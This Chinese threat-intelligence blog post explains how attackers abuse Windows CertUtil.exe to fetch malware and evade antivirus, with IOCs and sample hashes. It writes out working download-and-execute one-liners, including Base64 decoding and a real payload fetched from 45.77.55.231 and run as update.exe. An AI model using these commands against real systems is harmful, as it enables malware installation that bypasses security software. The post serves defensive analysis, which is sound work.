1、前言

经过国外文章信息,CertUtil.exe下载恶意软件的样本。

2、实现原理

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

使用语法 :


"certutil.exe -urlcache -split -f [URL] output.file"

Casey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。


certutil -urlcache -split -f [serverURL] file.blah regsvr32.exe /s /u /I:file.blah scrub.dll

3、实际例子

目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本,样本中利用的方法:

4、混淆方式

  • 使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。


C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt C:\Temp>certutil.exe -decode bad.txt bad.exe

在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下:

一旦文件下载并使用certutil进行 base64解码,它将被保存为update.exe并执行。

certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64&certutil -decode update.b64 update.exe&update.exe

5、样本HASH与分析结果

  • 分析平台分析结果:

https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId=100 https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/ https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId=100 https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId=100
  • IOC(Indicators of Compromise)

    • IP:
45[.]77[.]55[.]231
181[.]214[.]87[.]240
181[.]214[.]87[.]241
148[.]251[.]133[.]246
    • 文件名与HASH值:
update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56
update.exe: 5bb5d3cb837d97174eddc681ca98aa80
msi64.zip: 8d8b8abe93aea52f9865f045a49912ae
SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d
mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2

6、参考

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/

https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneum

https://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/

最新文章

  1. EntityFramework之摸索EF底层(八)
  2. yii2接收activeform表单信息
  3. Spark实战3:Maven_Java_HelloWorld
  4. 全景视频外包团队:U3D全景漫游(二)
  5. CF 504E Misha and LCP on Tree(树链剖分+后缀数组)
  6. ROS语音识别
  7. poj 2312 Battle City【bfs+优先队列】
  8. HDU 5446 Unknown Treasure(Lucas定理+CRT)
  9. Junit单元测试对线程测试没反应
  10. linux下IPC通信
  11. matplotlib删除x轴
  12. spring 实现邮箱发送
  13. JDK 和 OpenJDK 的区别
  14. JAVA Override和Overload的含义去区别
  15. 【Python】断言功能Assertion
  16. c# 获取客户端文件
  17. bzoj2588 Spoj10628. count on a tree
  18. 怎么在项目中使用前端包管理器bower和构建工具gulp
  19. go 的正则表达式
  20. Set接口——HashSet集合

热门文章

  1. js复制内容到剪切板
  2. 五种并发包总结ConcurrentHashMap CopyOnWriteArrayList ArrayblockingQueue
  3. Day22-Django之信号
  4. 百度地图JS API不能使用position:fixed
  5. bzoj1027【JSOI2007】合金
  6. 菜鸟合作伙伴日志接入规范之C#实现
  7. Codeforces Round #552 (Div. 3) 题解
  8. 利用Confluence搭建企业Wiki
  9. Hadoop生态圈-使用phoenix的API进行JDBC编程
  10. MySQL数据库语法-多表查询练习一